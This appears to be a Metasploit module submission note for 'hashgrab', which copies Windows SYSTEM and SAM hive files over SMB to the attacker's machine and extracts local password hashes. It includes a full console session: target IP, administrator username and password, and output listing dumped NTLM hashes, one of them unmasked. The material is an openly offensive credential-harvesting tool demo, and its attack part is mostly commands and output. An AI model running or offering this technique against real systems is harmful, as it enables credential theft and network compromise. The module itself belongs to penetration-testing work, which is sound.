Added new auxiliary module hashgrab.rb

This module extracts local user account password hashes from a system or range of systems.  It does so by using native windows functionality to store copys of the SYSTEM and SAM hive file in the WINDOWS\Temp directory and then download the hive files to the attacking machine to a directory specified at run time.  Unless the module errors while running it will delete the hive copies from the WINDOWS\Temp directory.  Once the hive files are stored locally they are opened up and the password hashes are extracted.  Appears to work very well with threads tested on two large enterprise networks on several hundreds of systems simultaneously.

Only issue is with authentication.  Sometimes it fails with "Login Failed: execution expired".  Try again and it works, not sure what is the cause of this.

<pre>
msf  auxiliary(hashgrab) > use auxiliary/scanner/smb/hashgrab 
msf  auxiliary(hashgrab) > set rhosts 172.16.141.137
rhosts => 172.16.141.137
msf  auxiliary(hashgrab) > set smbuser Administrator
smbuser => Administrator
msf  auxiliary(hashgrab) > set smbpass @ccuv@ntL@bs!
smbpass => @ccuv@ntL@bs!
msf  auxiliary(hashgrab) > show options

Module options (auxiliary/scanner/smb/hashgrab):

   Name       Current Setting                  Required  Description
   ----       ---------------                  --------  -----------
   LOGDIR     /tmp/msfhashes2012-11-06-164109  yes       This is a directory on your local attacking system used to store Hive files and hashes
   RHOSTS     172.16.141.137                   yes       The target address range or CIDR identifier
   RPORT      445                              yes       The Target port
   SMBDomain  WORKGROUP                        no        The Windows domain to use for authentication
   SMBPass    @ccuv@ntL@bs!                    no        The password for the specified username
   SMBSHARE   C$                               yes       The name of a writeable share on the server
   SMBUser    Administrator                    no        The username to authenticate as
   THREADS    1                                yes       The number of concurrent threads

msf  auxiliary(hashgrab) > run

[*] 172.16.141.137 - Creating hive copies.
[*] 172.16.141.137 - Downloading SYSTEM and SAM hive files.
[*] 172.16.141.137 - Running cleanup on
[*] 172.16.141.137 - Opening hives from on local Attack system
[*] 172.16.141.137 - Extracting hashes.
[+] Administrator:500:aad3b435b51404eeaad3b435b51404ee:f2a5ccba72161a5ffe1a7454d8b1c212:::
[+] Guest:501:aad3b435b51404eeaad3b435bxxxxxxx:31d6cfe0d16ae931b73c59d7exxxxxxx:::
[+] FS:1006:aad3b435b51404eeaad3b435bxxxxxxx:d7ac91c10d4d586a125890218xxxxxxx:::
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf  auxiliary(hashgrab) > 
</pre>

Blog Post:
http://www.accuvant.com/blog/2012/11/13/owning-computers-without-shell-access